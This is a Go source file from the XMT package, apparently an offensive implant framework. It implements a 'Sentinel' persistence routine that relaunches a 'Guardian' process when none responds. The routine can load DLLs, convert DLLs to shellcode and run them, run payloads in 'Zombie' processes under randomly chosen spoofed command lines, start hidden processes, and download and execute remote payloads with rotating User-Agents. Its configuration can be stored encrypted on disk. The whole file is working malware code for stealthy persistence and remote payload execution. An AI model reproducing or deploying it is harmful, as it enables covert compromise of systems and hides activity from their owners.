github.com/iDigitalFlame/xmt@v0.5.1/man/sentinel.go (about)

     1  // Copyright (C) 2020 - 2023 iDigitalFlame
     2  //
     3  // This program is free software: you can redistribute it and/or modify
     4  // it under the terms of the GNU General Public License as published by
     5  // the Free Software Foundation, either version 3 of the License, or
     6  // any later version.
     7  //
     8  // This program is distributed in the hope that it will be useful,
     9  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    10  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    11  // GNU General Public License for more details.
    12  //
    13  // You should have received a copy of the GNU General Public License
    14  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    15  //
    16  
    17  package man
    18  
    19  import (
    20  	"context"
    21  	"crypto/cipher"
    22  	"crypto/rand"
    23  	"io"
    24  	"os"
    25  	"time"
    26  
    27  	"github.com/iDigitalFlame/xmt/cmd"
    28  	"github.com/iDigitalFlame/xmt/cmd/filter"
    29  	"github.com/iDigitalFlame/xmt/data"
    30  	"github.com/iDigitalFlame/xmt/data/crypto"
    31  	"github.com/iDigitalFlame/xmt/device"
    32  	"github.com/iDigitalFlame/xmt/util"
    33  	"github.com/iDigitalFlame/xmt/util/bugtrack"
    34  	"github.com/iDigitalFlame/xmt/util/xerr"
    35  )
    36  
    37  const (
    38  	// Self is a constant that can be used to reference the current executable
    39  	// path without using the 'os.Executable' function.
    40  	Self = "*"
    41  
    42  	sentPathExecute  uint8 = 0
    43  	sentPathDLL      uint8 = 1
    44  	sentPathASM      uint8 = 2
    45  	sentPathDownload uint8 = 3
    46  	sentPathZombie   uint8 = 4
    47  
    48  	timeout    = time.Second * 5
    49  	timeoutWeb = time.Second * 15
    50  )
    51  
    52  // ErrNoEndpoints is an error returned if no valid Guardian paths could be used
    53  // and/or found during a launch.
    54  var ErrNoEndpoints = xerr.Sub("no paths found", 0x11)
    55  
    56  // Sentinel is a struct that can be used as a 'Named' arguments value to
    57  // functions in the 'man' package or can be Marshaled from a file or bytes
    58  // source.
    59  type Sentinel struct {
    60  	paths []sentinelPath
    61  	filter.Filter
    62  }
    63  type sentinelPath struct {
    64  	path  string
    65  	extra []string
    66  	t     uint8
    67  }
    68  
    69  // Check will attempt to contact any current Guardians watching on the supplied
    70  // name. This function returns false if the specified name could not be reached
    71  // or an error occurred.
    72  //
    73  // This function defaults to the 'Pipe' Linker if a nil Linker is specified.
    74  func Check(l Linker, n string) bool {
    75  	if l == nil {
    76  		l = Pipe
    77  	}
    78  	v, err := l.check(n)
    79  	if bugtrack.Enabled {
    80  		bugtrack.Track("man.Check(): l.(type)=%T n=%s, err=%s, v=%t", l, n, err, v)
    81  	}
    82  	return v
    83  }
    84  func (p *sentinelPath) valid() bool {
    85  	if p.t > sentPathZombie || len(p.path) == 0 {
    86  		return false
    87  	}
    88  	if p.t > sentPathDownload && len(p.extra) == 0 {
    89  		return false
    90  	}
    91  	if p.t != sentPathDownload && p.t != sentPathExecute {
    92  		p.path = device.Expand(p.path)
    93  		if _, err := os.Stat(p.path); err != nil {
    94  			return false
    95  		}
    96  	}
    97  	if !cmd.LoaderEnabled && p.t == sentPathZombie {
    98  		return false
    99  	}
   100  	return true
   101  }
   102  
   103  // AddDLL adds a DLL execution type to this Sentinel. This will NOT validate the
   104  // path beforehand.
   105  func (s *Sentinel) AddDLL(p string) {
   106  	s.paths = append(s.paths, sentinelPath{t: sentPathDLL, path: p})
   107  }
   108  
   109  // AddASM adds an ASM execution type to this Sentinel. This will NOT validate the
   110  // path beforehand.
   111  //
   112  // This path may be a DLL file and will attempt to use the 'DLLToASM' conversion
   113  // function (if enabled).
   114  func (s *Sentinel) AddASM(p string) {
   115  	s.paths = append(s.paths, sentinelPath{t: sentPathASM, path: p})
   116  }
   117  
   118  // AddExecute adds a command execution type to this Sentinel. This will NOT validate
   119  // the command beforehand.
   120  func (s *Sentinel) AddExecute(p string) {
   121  	s.paths = append(s.paths, sentinelPath{t: sentPathExecute, path: p})
   122  }
   123  func (s *Sentinel) read(r io.Reader) error {
   124  	return s.UnmarshalStream(data.NewReader(r))
   125  }
   126  func (s *Sentinel) write(w io.Writer) error {
   127  	return s.MarshalStream(data.NewWriter(w))
   128  }
   129  func (p sentinelPath) run(f *filter.Filter) error {
   130  	if bugtrack.Enabled {
   131  		bugtrack.Track("man.(sentinelPath).run(): Running p.t=%d, p.path=%s", p.t, p.path)
   132  	}
   133  	switch p.t {
   134  	case sentPathDLL:
   135  		if bugtrack.Enabled {
   136  			bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a DLL", p.t, p.path)
   137  		}
   138  		x := cmd.NewDLL(p.path)
   139  		x.SetParent(f)
   140  		err := x.Start()
   141  		x.Release()
   142  		return err
   143  	case sentPathASM:
   144  		if bugtrack.Enabled {
   145  			bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is ASM", p.t, p.path)
   146  		}
   147  		b, err := data.ReadFile(p.path)
   148  		if err != nil {
   149  			return err
   150  		}
   151  		x := cmd.NewAsm(cmd.DLLToASM("", b))
   152  		x.SetParent(f)
   153  		err = x.Start()
   154  		x.Release()
   155  		return err
   156  	case sentPathZombie:
   157  		if bugtrack.Enabled {
   158  			bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Zombie", p.t, p.path)
   159  		}
   160  		b, err := data.ReadFile(p.path)
   161  		if err != nil {
   162  			return err
   163  		}
   164  		var a string
   165  		switch {
   166  		case len(p.extra) > 1:
   167  			a = p.extra[util.FastRandN(len(p.extra))]
   168  		case len(p.extra) == 0:
   169  			return cmd.ErrEmptyCommand
   170  		case len(p.extra) == 1:
   171  			a = p.extra[0]
   172  		}
   173  		x := cmd.NewZombie(cmd.DLLToASM("", b), cmd.Split(a)...)
   174  		x.SetParent(f)
   175  		x.SetNoWindow(true)
   176  		x.SetWindowDisplay(0)
   177  		err = x.Start()
   178  		x.Release()
   179  		return err
   180  	case sentPathExecute:
   181  		var x *cmd.Process
   182  		if p.path == Self {
   183  			if bugtrack.Enabled {
   184  				bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is Self", p.t, p.path)
   185  			}
   186  			e, err := os.Executable()
   187  			if err != nil {
   188  				return err
   189  			}
   190  			x = cmd.NewProcess(e)
   191  		} else {
   192  			if bugtrack.Enabled {
   193  				bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Command", p.t, p.path)
   194  			}
   195  			x = cmd.NewProcess(cmd.Split(p.path)...)
   196  		}
   197  		x.SetParent(f)
   198  		x.SetNoWindow(true)
   199  		x.SetWindowDisplay(0)
   200  		err := x.Start()
   201  		x.Release()
   202  		return err
   203  	case sentPathDownload:
   204  		if bugtrack.Enabled {
   205  			bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is a Download", p.t, p.path)
   206  		}
   207  		var a string
   208  		switch {
   209  		case len(p.extra) > 1:
   210  			a = p.extra[util.FastRandN(len(p.extra))]
   211  		case len(p.extra) == 1:
   212  			a = p.extra[0]
   213  		}
   214  		x, v, err := WebExec(context.Background(), nil, p.path, a)
   215  		if err != nil {
   216  			return err
   217  		}
   218  		x.SetParent(f)
   219  		if err = x.Start(); err != nil && len(v) > 0 {
   220  			os.Remove(v)
   221  		}
   222  		x.Release()
   223  		return err
   224  	}
   225  	if bugtrack.Enabled {
   226  		bugtrack.Track("man.(sentinelPath).run(): p.t=%d, p.path=%s is unknown!", p.t, p.path)
   227  	}
   228  	return cmd.ErrNotStarted
   229  }
   230  
   231  // AddZombie adds a command execution type to this Sentinel. This will NOT validate
   232  // the command and filepath beforehand.
   233  //
   234  // The supplied vardic of strings are the spoofed commands to be ran under. The
   235  // first argument of each fake command MUST be a real binary, but the arguments
   236  // can be whatever. AT LEAST ONE MUST BE SUPPLIED FOR THIS TO BE CONSIDERED VALID.
   237  //
   238  // Multiple spoofed commands may be used to generate a randomly picked command
   239  // on each runtime.
   240  //
   241  // This path may be a DLL file and will attempt to use the 'DLLToASM' conversion
   242  // function (if enabled).
   243  func (s *Sentinel) AddZombie(p string, a ...string) {
   244  	s.paths = append(s.paths, sentinelPath{t: sentPathZombie, path: p, extra: a})
   245  }
   246  
   247  // MarshalStream will convert the data in this Sentinel into binary that will
   248  // be written into the supplied Writer.
   249  func (s Sentinel) MarshalStream(w data.Writer) error {
   250  	if err := s.Filter.MarshalStream(w); err != nil {
   251  		return err
   252  	}
   253  	if err := w.WriteUint16(uint16(len(s.paths))); err != nil {
   254  		return err
   255  	}
   256  	for i := 0; i < len(s.paths) && i < 0xFFFF; i++ {
   257  		if err := s.paths[i].MarshalStream(w); err != nil {
   258  			return err
   259  		}
   260  	}
   261  	return nil
   262  }
   263  
   264  // AddDownload adds a download execution type to this Sentinel. This will NOT validate
   265  // the URL beforehand.
   266  //
   267  // The URL will be downloaded on triggering and will be ran based of off the
   268  // 'Content-Type' HTTP header.
   269  //
   270  // The supplied vardic of strings is optional but can be used as a list of HTTP
   271  // User-Agents to be used. The strings support the 'text.Matcher' interface.
   272  //
   273  // Multiple User-Agents may be used to generate a randomly picked User-Agent on
   274  // each runtime.
   275  func (s *Sentinel) AddDownload(p string, a ...string) {
   276  	s.paths = append(s.paths, sentinelPath{t: sentPathDownload, path: p, extra: a})
   277  }
   278  
   279  // File will attempt to Marshal the Sentinel struct from the supplied file path.
   280  // This function will take any environment variables into account before loading.
   281  //
   282  // Any errors that occur during reading will be returned.
   283  func File(c cipher.Block, p string) (*Sentinel, error) {
   284  	var s Sentinel
   285  	if err := s.Load(c, device.Expand(p)); err != nil {
   286  		return nil, err
   287  	}
   288  	return &s, nil
   289  }
   290  
   291  // UnmarshalStream will attempt to read the data for this Sentinel from the
   292  // supplied Reader.
   293  func (s *Sentinel) UnmarshalStream(r data.Reader) error {
   294  	if err := s.Filter.UnmarshalStream(r); err != nil {
   295  		return err
   296  	}
   297  	n, err := r.Uint16()
   298  	if err != nil {
   299  		return err
   300  	}
   301  	s.paths = make([]sentinelPath, n)
   302  	for i := uint16(0); i < n; i++ {
   303  		if err = s.paths[i].UnmarshalStream(r); err != nil {
   304  			return err
   305  		}
   306  	}
   307  	return nil
   308  }
   309  
   310  // Save will attempt to write the Sentinel data to the supplied on-device file
   311  // path. This function will take any environment variables into account before
   312  // writing.
   313  //
   314  // If the supplied cipher is not nil, it will be used to encrypt the data during
   315  // writing, otherwise the data will be un-encrypted.
   316  //
   317  // Any errors that occur during writing will be returned.
   318  func (s *Sentinel) Save(c cipher.Block, p string) error {
   319  	// 0x242 - CREATE | TRUNCATE | RDWR
   320  	f, err := os.OpenFile(device.Expand(p), 0x242, 0644)
   321  	if err != nil {
   322  		return err
   323  	}
   324  	err = s.Write(c, f)
   325  	f.Close()
   326  	return err
   327  }
   328  
   329  // Load will attempt to read the Sentinel struct from the supplied file path.
   330  // This function will take any environment variables into account before reading.
   331  //
   332  // If the supplied cipher is not nil, it will be used to decrypt the data during
   333  // reader, otherwise the data will read un-encrypted.
   334  //
   335  // Any errors that occur during reading will be returned.
   336  func (s *Sentinel) Load(c cipher.Block, p string) error {
   337  	// 0x242 - READONLY
   338  	f, err := os.OpenFile(device.Expand(p), 0, 0)
   339  	if err != nil {
   340  		return err
   341  	}
   342  	err = s.Read(c, f)
   343  	f.Close()
   344  	return err
   345  }
   346  func (p sentinelPath) MarshalStream(w data.Writer) error {
   347  	if err := w.WriteUint8(p.t); err != nil {
   348  		return err
   349  	}
   350  	if err := w.WriteString(p.path); err != nil {
   351  		return err
   352  	}
   353  	if p.t < sentPathDownload {
   354  		return nil
   355  	}
   356  	return data.WriteStringList(w, p.extra)
   357  }
   358  
   359  // Find will initiate the Sentinel's Guardian launching routine and will seek
   360  // through all it's stored paths to launch a Guardian.
   361  //
   362  // The Linker and name passed to this function are used to determine if the newly
   363  // launched Guardian comes up and responds correctly (within the appropriate time
   364  // constraints).
   365  //
   366  // This function will return true and nil if a Guardian was launched, otherwise
   367  // the boolean will be false and the error will explain the cause.
   368  //
   369  // Errors caused by Sentinel paths will NOT stop the search and the most likely
   370  // error returned will be 'ErrNoEndpoints' which results when no Guardians could
   371  // be loaded.
   372  func (s *Sentinel) Find(l Linker, n string) (bool, error) {
   373  	if len(s.paths) == 0 {
   374  		return false, ErrNoEndpoints
   375  	}
   376  	var (
   377  		f   = &s.Filter
   378  		err error
   379  	)
   380  	if f.Empty() {
   381  		f = filter.Any
   382  	}
   383  	for i := range s.paths {
   384  		if !s.paths[i].valid() {
   385  			continue
   386  		}
   387  		if bugtrack.Enabled {
   388  			bugtrack.Track("man.(*Sentinel).Find(): n=%s, i=%d, s.paths[i].t=%d", n, i, s.paths[i].t)
   389  		}
   390  		if err = s.paths[i].run(f); err != nil {
   391  			if bugtrack.Enabled {
   392  				bugtrack.Track("man.(*Sentinel).Find(): n=%s, i=%d, s.paths[i].t=%d, err=%s", n, i, s.paths[i].t, err.Error())
   393  			}
   394  			continue
   395  		}
   396  		if bugtrack.Enabled {
   397  			bugtrack.Track("man.(*Sentinel).Find(): Wake passed, no errors. Checking l.(type)=%T, n=%s now.", l, n)
   398  		}
   399  		if time.Sleep(timeout); !Check(l, n) {
   400  			if bugtrack.Enabled {
   401  				bugtrack.Track("man.(*Sentinel).Find(): Wake l.(type)=%T, n=%s failed.", l, n)
   402  			}
   403  			continue
   404  		}
   405  		if bugtrack.Enabled {
   406  			bugtrack.Track("man.(*Sentinel).Find(): Wake l.(type)=%T, n=%s passed!", l, n)
   407  		}
   408  		return true, nil
   409  	}
   410  	if err == nil {
   411  		err = ErrNoEndpoints
   412  	}
   413  	return false, err
   414  }
   415  
   416  // Wake will attempt to locate a Gurdian with the supplied Linker and name. If
   417  // no Guardian is found, the 'Find' function will be triggered and will start
   418  // the launching routine.
   419  //
   420  // This function will return true and nil if a Guardian was launched, otherwise
   421  // the boolean will be false and the error will explain the cause. If the error
   422  // is nil, this means that a Guardian was detected.
   423  //
   424  // Errors caused by Sentinel paths will NOT stop the search and the most likely
   425  // error returned will be 'ErrNoEndpoints' which results when no Guardians could
   426  // be loaded.
   427  func (s *Sentinel) Wake(l Linker, n string) (bool, error) {
   428  	if Check(l, n) {
   429  		return false, nil
   430  	}
   431  	return s.Find(l, n)
   432  }
   433  
   434  // Read will attempt to read the Sentinel data from the supplied Reader. If the
   435  // supplied cipher is not nil, it will be used to decrypt the data during reader,
   436  // otherwise the data will read un-encrypted.
   437  func (s *Sentinel) Read(c cipher.Block, r io.Reader) error {
   438  	if c == nil {
   439  		return s.read(r)
   440  	}
   441  	var (
   442  		k      = make([]byte, c.BlockSize())
   443  		n, err = r.Read(k)
   444  	)
   445  	if err != nil {
   446  		return err
   447  	}
   448  	if n != c.BlockSize() {
   449  		return io.ErrUnexpectedEOF
   450  	}
   451  	i, err := crypto.NewBlockReader(c, k, r)
   452  	if err != nil {
   453  		return err
   454  	}
   455  	err = s.read(i)
   456  	i.Close()
   457  	return err
   458  }
   459  func (p *sentinelPath) UnmarshalStream(r data.Reader) error {
   460  	if err := r.ReadUint8(&p.t); err != nil {
   461  		return err
   462  	}
   463  	if err := r.ReadString(&p.path); err != nil {
   464  		return err
   465  	}
   466  	if p.t < sentPathDownload {
   467  		return nil
   468  	}
   469  	return data.ReadStringList(r, &p.extra)
   470  }
   471  
   472  // Write will attempt to write the Sentinel data to the supplied Writer. If the
   473  // supplied cipher is not nil, it will be used to encrypt the data during writing,
   474  // otherwise the data will be un-encrypted.
   475  func (s *Sentinel) Write(c cipher.Block, w io.Writer) error {
   476  	if c == nil {
   477  		return s.write(w)
   478  	}
   479  	var (
   480  		k      = make([]byte, c.BlockSize())
   481  		_, err = rand.Read(k)
   482  	)
   483  	if err != nil {
   484  		return err
   485  	}
   486  	n, err := w.Write(k)
   487  	if err != nil {
   488  		return err
   489  	}
   490  	if n != c.BlockSize() {
   491  		return io.ErrShortWrite
   492  	}
   493  	o, err := crypto.NewBlockWriter(c, k, w)
   494  	if err != nil {
   495  		return err
   496  	}
   497  	err = s.write(o)
   498  	o.Close()
   499  	return err
   500  }
   501  
   502  // WakeMultiFile is similar to 'WakeFile' except this function will attempt to load
   503  // multiple Sentinels from the supplied vardic of string paths.
   504  //
   505  // This function will first check for the existence of a Guardian with the supplied
   506  // Linker and name before attempting to load any Sentinels.
   507  //
   508  // Sentinels will be loaded in a random order then the 'Find' function of each
   509  // one will be ran.
   510  //
   511  // If the supplied cipher is not nil, it will be used to decrypt the data during
   512  // reader, otherwise the data will read un-encrypted.
   513  //
   514  // This function will return true and nil if a Guardian was launched, otherwise
   515  // the boolean will be false and the error will explain the cause. If the error
   516  // is nil, this means that a Guardian was detected.
   517  func WakeMultiFile(l Linker, name string, c cipher.Block, paths []string) (bool, error) {
   518  	if len(paths) == 0 {
   519  		return false, ErrNoEndpoints
   520  	}
   521  	if len(paths) == 1 {
   522  		_, r, err := WakeFile(l, name, c, paths[0])
   523  		return r, err
   524  	}
   525  	if Check(l, name) {
   526  		return false, nil
   527  	}
   528  	// NOTE(dij): Instead of running concurrently, do these randomly, but only
   529  	//            pick len() many times. Obviously, we might not cover 100% but
   530  	//            *shrug*.
   531  	//
   532  	//            We can cover duplicates though with 'e'.
   533  	var (
   534  		e   = make([]*Sentinel, len(paths))
   535  		r   bool
   536  		err error
   537  	)
   538  	for i, v := 0, 0; i < len(paths); i++ {
   539  		if v = int(util.FastRandN(len(paths))); e[v] == nil {
   540  			if e[v], err = File(c, paths[v]); err != nil {
   541  				continue
   542  			}
   543  		}
   544  		/*} else {
   545  			// NOTE(dij): Should we run again already loaded entries?
   546  			//            Defaults to yes.
   547  		}*/
   548  		if r, err = e[v].Find(l, name); err != nil {
   549  			continue
   550  		}
   551  		if r {
   552  			return true, nil
   553  		}
   554  	}
   555  	return false, nil
   556  }
   557  
   558  // WakeFile will attempt to load a Sentinel from the supplied string path if a
   559  // Guardian cannot be detected with the supplied Linker and name.
   560  //
   561  // If no Guardian was found the Sentinel will be loaded and the 'Find' function
   562  // one will be ran.
   563  //
   564  // If the supplied cipher is not nil, it will be used to decrypt the data during
   565  // reader, otherwise the data will read un-encrypted.
   566  //
   567  // This function will return true and nil if a Guardian was launched, otherwise
   568  // the boolean will be false and the error will explain the cause. If the error
   569  // is nil, this means that a Guardian was detected.
   570  func WakeFile(l Linker, name string, c cipher.Block, path string) (*Sentinel, bool, error) {
   571  	if Check(l, name) {
   572  		return nil, false, nil
   573  	}
   574  	s, err := File(c, path)
   575  	if err != nil {
   576  		return nil, false, err
   577  	}
   578  	r, err := s.Wake(l, name)
   579  	return s, r, err
   580  }